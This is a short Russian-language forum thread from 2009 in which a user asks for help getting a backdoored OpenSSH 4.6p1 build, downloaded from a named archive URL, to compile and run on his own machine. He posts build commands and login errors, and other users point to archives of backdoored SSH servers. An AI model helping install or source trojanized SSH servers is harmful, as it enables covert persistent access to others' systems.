PDA

Просмотр полной версии : Помогите протроянить ssh


Psi.X
27.09.2009, 17:54
Пробую протроянить ssh на своей машине (OpenSuse 11.1), скачал сорсы от ShadOS'a (http://packetstormsecurity.org/crypt/ssh/openssh/openssh-4.6p1-backdored.tar.gz), исправил пару багов в файле auth-pam.c, (заменил shados_login на login_shados , ибо не компелировалось), собрал как указано в ридмях :

./configure --with-pam --bindir=/usr/bin --sbindir=/usr/sbin --sysconfdir=/etc/ssh > /dev/null
make > /dev/null
strip ssh sshd
make install
/etc/init.d/sshd restart

но в итоге при попытке залогиниться (сразу после ввода логина) получаю

No supported authentication methods left to try!


PS Пробывал собирать без PAM - результат тот же

ShAnKaR
03.10.2009, 14:28
ключ -vv для выдает дебаг инфу при подключении

ssh -vv root@localhost

Psi.X
03.10.2009, 22:01
suse:/tmp/openssh-4.6p1 # ssh --vv root@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
RSA key fingerprint is be:59:44:8e:19:26:f5:38:bd:b1:31:1e:42:68:92:e4.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (RSA) to the list of known hosts.
Permission denied (publickey).

Psi.X
30.10.2009, 21:53
Ап. Помогите разобраться или скиньте какой актуальный бекдор для ssh...

krypt3r
31.10.2009, 23:58
На пакетсторме куча пробэкдоренных openssh есть